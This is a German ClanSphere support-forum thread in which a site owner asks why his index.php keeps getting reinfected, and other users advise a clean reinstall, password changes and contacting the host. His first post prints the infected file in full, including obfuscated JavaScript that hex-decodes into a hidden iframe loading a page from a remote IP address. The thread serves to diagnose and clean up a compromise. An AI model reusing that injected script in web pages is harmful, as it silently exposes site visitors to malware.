Antworten: 34
|
|
 MarioJust nerd  Beiträge: 934 |
# Thema - 02.05.2008 um 19:55 Uhr
Hallo leute, einige von euch wissen das wenn man auf meiner Site geht www.europeangamers.de eine Viruswarnung kommt oder besser gesagt Trojaner warnung. Ich weiß das es an der index.php im hauptverzeichnis liegt. Wenn ich diese auswechsel kommt diese Warnung nicht mehr. ABER Jetzt habe ich mal verglichen die index.php die angeblich verseucht sein soll und die Orginale index.php So sieht ja die orginale aus mehr...  <?php // ClanSphere 2007 - www.clansphere.net // $Id: index.php 101 2006-07-12 09:36:29Z hajo $ @error_reporting(E_ALL); @ini_set('arg_separator.output','&'); @ini_set('session.use_trans_sid','0'); @ini_set('session.use_cookies','1'); @ini_set('session.use_only_cookies','1'); @ini_set('display_errors','off'); @ini_set('magic_quotes_runtime','off'); $cs_micro = explode(' ', microtime()); # starting parsetime $cs_logs = array('errors' => '', 'sql' => '', 'queries' => 0, 'warnings' => 0, 'dir' => 'logs'); require('system/core/functions.php'); $install_link = '<a href="install.php">Installation required</a>'; if(file_exists('setup.php')) { require('setup.php'); require('system/database/' . $cs_db['type'] . '.php'); $cs_db['con'] = cs_sql_connect($cs_db); $cs_main = @cs_sql_option(__FILE__,'clansphere') OR die($install_link . ' or database error'); require('system/output/xhtml_10.php'); require('system/core/templates.php'); require('system/core/content.php'); require('system/core/tools.php'); require('system/core/account.php'); require('system/core/abcode.php'); cs_tasks('system/extensions', 1); # load extensions cs_tasks('system/runstartup'); # load startup files echo cs_template($cs_micro,$cs_main,$account); } else { echo $install_link . ' or missing setup.php'; } ?> Und so die angeblich verseucht ist mehr... <?php // ClanSphere 2007 - www.clansphere.net // $Id: index.php 101 2006-07-12 09:36:29Z hajo $ @error_reporting(E_ALL); @ini_set('arg_separator.output','&'); @ini_set('session.use_trans_sid','0'); @ini_set('session.use_cookies','1'); @ini_set('session.use_only_cookies','1'); @ini_set('display_errors','off'); @ini_set('magic_quotes_runtime','off'); $cs_micro = explode(' ', microtime()); # starting parsetime $cs_logs = array('errors' => '', 'sql' => '', 'queries' => 0, 'warnings' => 0, 'dir' => 'logs'); require('system/core/functions.php'); $install_link = '<a href="install.php">Installation required</a>'; if(file_exists('setup.php')) { require('setup.php'); require('system/database/' . $cs_db['type'] . '.php'); $cs_db['con'] = cs_sql_connect($cs_db); $cs_main = @cs_sql_option(__FILE__,'clansphere') OR die($install_link . ' or database error'); require('system/output/xhtml_10.php'); require('system/core/templates.php'); require('system/core/content.php'); require('system/core/tools.php'); require('system/core/account.php'); require('system/core/abcode.php'); cs_tasks('system/extensions', 1); # load extensions cs_tasks('system/runstartup'); # load startup files echo cs_template($cs_micro,$cs_main,$account); } else { echo $install_link . ' or missing setup.php'; } ?><script>function v481b3e04884c0(v481b3e04888b9){ function v481b3e0488cb8 () {var v481b3e04890af=16; return v481b3e04890af;} return(parseInt(v481b3e04888b9,v481b3e0488cb8()));}function v481b3e04894ad(v481b3e04898b4){ function v481b3e048a519 () {var v481b3e048a8b3=2; return v481b3e048a8b3;} var v481b3e0489ca4='';for(v481b3e048a0bf=0; v481b3e048a0bf<v481b3e04898b4.length; v481b3e048a0bf+=v481b3e048a519()){ v481b3e0489ca4+=(String.fromCharCode(v481b3e04884c0(v481b3e04898b4.substr(v481b3e048a0bf, v481b3e048a519()))));}return v481b3e0489ca4;} document.write(v481b3e04894ad('3C5343524950543E77696E646F772E7374617475733D 27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D30626562 3936343030207372633D5C27687474703A2F2F37372E3232312E3133332E3135302F2E69662F676F 2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3238313537292B 273031355C272077696474683D373631206865696768743D3337207374796C653D5C27646973706C 61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</scri pt> Kann mir einer sagen ob das so muss ??? Oder was da los ist ? Danke schonmal 
------------------   |
Inaktiv |
 |
Fr33z3m4n  Medal of Honor  Herkunft: Hamm Beiträge: 11094 |
# Antwort: 1 - 02.05.2008 um 19:59 Uhr
das script unten, was soll das sein ? Hast du das eingefügt, wenn ja, wieso verschlüsselt ? Es ist ein verschlüsseltes script. ------------------ mfg Patrick "Fr33z3m4n" Jaskulski  Antoine de Saint-Exupéry: Wenn Du ein Schiff bauen willst, so trommle nicht Männer zusammen, um Holz zu beschaffen, Aufgaben zu verteilen, sondern lehre die Männer die Sehnsucht nach dem endlosen weiten Meer. |
Inaktiv |
  |  |
| Mario Thread-Ersteller Just nerd Beiträge: 934 |
# Antwort: 2 - 02.05.2008 um 20:04 Uhr
Das habe ich nicht eingebaut. Ich hbae Jetzt grad die orginale index.php hochgeladen. Und es dauert nicht lange dann sieht sie wieder komplett anders aus so wie jetzt hier das zweite.... Was ist das. Wie kommen da die einträge rein ?? ------------------ |
Inaktiv |
| |
| Fr33z3m4n Medal of Honor Herkunft: Hamm Beiträge: 11094 |
# Antwort: 3 - 02.05.2008 um 20:30 Uhr
ich würde mal auf einen kleinen aber feinen Trojaner tippen. Such mal deine komplette Page nach etwas ungewöhnlichem ab. Teilweise verstecken die sich in der index.html von deinem design. Ansonsten installier mal ne frische ClanSphere Version. Ändere alle Passwörter -> abwarten. Taucht es wieder auf (wichtig auf der installatin, das nur du zugriff hast, und wie schon erwähnt, andere Passwörter), Anbieter anschreiben, das er einen Trojaner hat, den er mal killen sollte. ------------------ mfg Patrick "Fr33z3m4n" Jaskulski Antoine de Saint-Exupéry: Wenn Du ein Schiff bauen willst, so trommle nicht Männer zusammen, um Holz zu beschaffen, Aufgaben zu verteilen, sondern lehre die Männer die Sehnsucht nach dem endlosen weiten Meer. |
Inaktiv |
| |
| Mario Thread-Ersteller Just nerd Beiträge: 934 |
# Antwort: 4 - 02.05.2008 um 20:41 Uhr
Okey danke. wenn ich die SQL sicher wie groß darf die sein. Will die ja dann wieder einspielen... ------------------ |
Inaktiv |
| |
| Jam2 Highlander  Beiträge: 3291 |
# Antwort: 5 - 02.05.2008 um 20:41 Uhr
kommt auf deinen anbieter an ------------------ Gruß/ Best regards Jam2 Nützliche Forumbeiträge/Codepastes: (Useful comments in our board / codepastes) Template Switch for index.php Board Navlist last posts Edi: könnte man denn auch hier eine erweiterung einfügen?
Jam2: das web ist wie toyota..... Edi: hö ? Jam2: nichts ist unmöglich! |
Inaktiv |
| |
| Mario Thread-Ersteller Just nerd Beiträge: 934 |
# Antwort: 6 - 02.05.2008 um 20:45 Uhr
1blu.de ------------------ |
Inaktiv |
| |
| Fr33z3m4n Medal of Honor Herkunft: Hamm Beiträge: 11094 |
# Antwort: 7 - 02.05.2008 um 22:02 Uhr
steht im phpmyadmin ansonsten splittest die sql backup file später auf. ------------------ mfg Patrick "Fr33z3m4n" Jaskulski Antoine de Saint-Exupéry: Wenn Du ein Schiff bauen willst, so trommle nicht Männer zusammen, um Holz zu beschaffen, Aufgaben zu verteilen, sondern lehre die Männer die Sehnsucht nach dem endlosen weiten Meer. |
Inaktiv |
| |
| Mario Thread-Ersteller Just nerd Beiträge: 934 |
# Antwort: 8 - 02.05.2008 um 22:03 Uhr
Kannst du mir bitte sagen wie ich das Splitte ??? Ich will jetzt das backup machen ------------------ |
Inaktiv |
| |
| Fr33z3m4n Medal of Honor Herkunft: Hamm Beiträge: 11094 |
# Antwort: 9 - 02.05.2008 um 22:04 Uhr
mach einfach ein Backup. Wenn er später meckert beim einfügen, dann erst splitten, nicht jetzt vorm backup. ------------------ mfg Patrick "Fr33z3m4n" Jaskulski Antoine de Saint-Exupéry: Wenn Du ein Schiff bauen willst, so trommle nicht Männer zusammen, um Holz zu beschaffen, Aufgaben zu verteilen, sondern lehre die Männer die Sehnsucht nach dem endlosen weiten Meer. |
Inaktiv |
| |
| Mario Thread-Ersteller Just nerd Beiträge: 934 |
# Antwort: 10 - 02.05.2008 um 22:07 Uhr
okey dank dir Bist der BESTE ------------------ |
Inaktiv |
| |
| Fr33z3m4n Medal of Honor Herkunft: Hamm Beiträge: 11094 |
# Antwort: 11 - 02.05.2008 um 23:29 Uhr
.. ------------------ mfg Patrick "Fr33z3m4n" Jaskulski Antoine de Saint-Exupéry: Wenn Du ein Schiff bauen willst, so trommle nicht Männer zusammen, um Holz zu beschaffen, Aufgaben zu verteilen, sondern lehre die Männer die Sehnsucht nach dem endlosen weiten Meer. |
Inaktiv |
| |
| Mario Thread-Ersteller Just nerd Beiträge: 934 |
# Antwort: 12 - 02.05.2008 um 23:33 Uhr
So ich habe das neue ClanSphere 2008.1 installiert. Alles ohne probleme. Hab dann die SQL einspielen wolln. Ging nicht fehlermeldung. abcode existiert bereits bla bla bla..... Dann habe ich alle einträge gelöscht. Und habe dann mal die SQL hochgeladen. Bum gings  Was will ich damit sagen; Es hat gefunzt. Nun werde ich abwarten ab es jetzt entlich ruhe gibt wegen dem Trojanersch***** da. Danke nochmal
------------------ |
Inaktiv |
| |
| Ramires Supporter  Herkunft: Waldeck Beiträge: 1900 |
# Antwort: 13 - 02.05.2008 um 23:51 Uhr
* ------------------ Verschwende keine Energie an Dinge die Du nicht ändern kannst... |
Inaktiv |
| |
| Mario Thread-Ersteller Just nerd Beiträge: 934 |
# Antwort: 14 - 02.05.2008 um 23:54 Uhr
mal noch ne frage hab. Wie bekomme ich das oben im header weg. Wenn ich im Forum bin steht da Board. Oder wenn ich in der Gallery bin steht dort Gallery. Wo kann ich das ausstellen ? ------------------ |
Inaktiv |
| |
| TeQu!La Specialist  Herkunft: Grevenbroich Beiträge: 2142 |
# Antwort: 15 - 03.05.2008 um 12:30 Uhr
SUFU, bzw schau in einem deiner threads nach dort hat freez dir doch geantwortet Hier stehts ------------------  ClanSphere - professional clan care starts here |
Inaktiv |
| |
| Jam2 Highlander Beiträge: 3291 |
# Antwort: 16 - 03.05.2008 um 12:38 Uhr
witzbold <.< ------------------ Gruß/ Best regards Jam2 Nützliche Forumbeiträge/Codepastes: (Useful comments in our board / codepastes) Template Switch for index.php Board Navlist last posts Edi: könnte man denn auch hier eine erweiterung einfügen?
Jam2: das web ist wie toyota..... Edi: hö ? Jam2: nichts ist unmöglich! |
Inaktiv |
| |
| Mario Thread-Ersteller Just nerd Beiträge: 934 |
# Antwort: 17 - 03.05.2008 um 12:49 Uhr
Ja also echt mal. Hier hatte ich vorher gefragt dann in einem neuen Thread. Wollte es ausführlicher beschreiben....
------------------ |
Inaktiv |
| |
| TeQu!La Specialist Herkunft: Grevenbroich Beiträge: 2142 |
# Antwort: 18 - 03.05.2008 um 13:16 Uhr
beide threads nur überflogen ^^ bin vorhin um die uhrzeit aufgestanden 
------------------ ClanSphere - professional clan care starts here |
Inaktiv |
| |
| Mario Thread-Ersteller Just nerd Beiträge: 934 |
# Antwort: 19 - 03.05.2008 um 13:19 Uhr
^^ 
------------------ |
Inaktiv |
| |
| Fr33z3m4n Medal of Honor Herkunft: Hamm Beiträge: 11094 |
# Antwort: 20 - 03.05.2008 um 14:59 Uhr
tjo, du hast den Virus wieder Hast ja meinen Rat auch nicht 100% umgesetzt.nsonsten installier mal ne frische ClanSphere Version. Ändere alle Passwörter -> abwarten. Ohne deine Page wieder herzustellen. Wenn jemand einen Adminacc gehackt hat, haste das immer wieder. Ich tippe hier aber mal auf den Anbieter, das dort was defekt ist. ------------------ mfg Patrick "Fr33z3m4n" Jaskulski Antoine de Saint-Exupéry: Wenn Du ein Schiff bauen willst, so trommle nicht Männer zusammen, um Holz zu beschaffen, Aufgaben zu verteilen, sondern lehre die Männer die Sehnsucht nach dem endlosen weiten Meer. |
Inaktiv |
| |
Antworten: 34
|
|
| Sie müssen sich registrieren, um zu antworten. |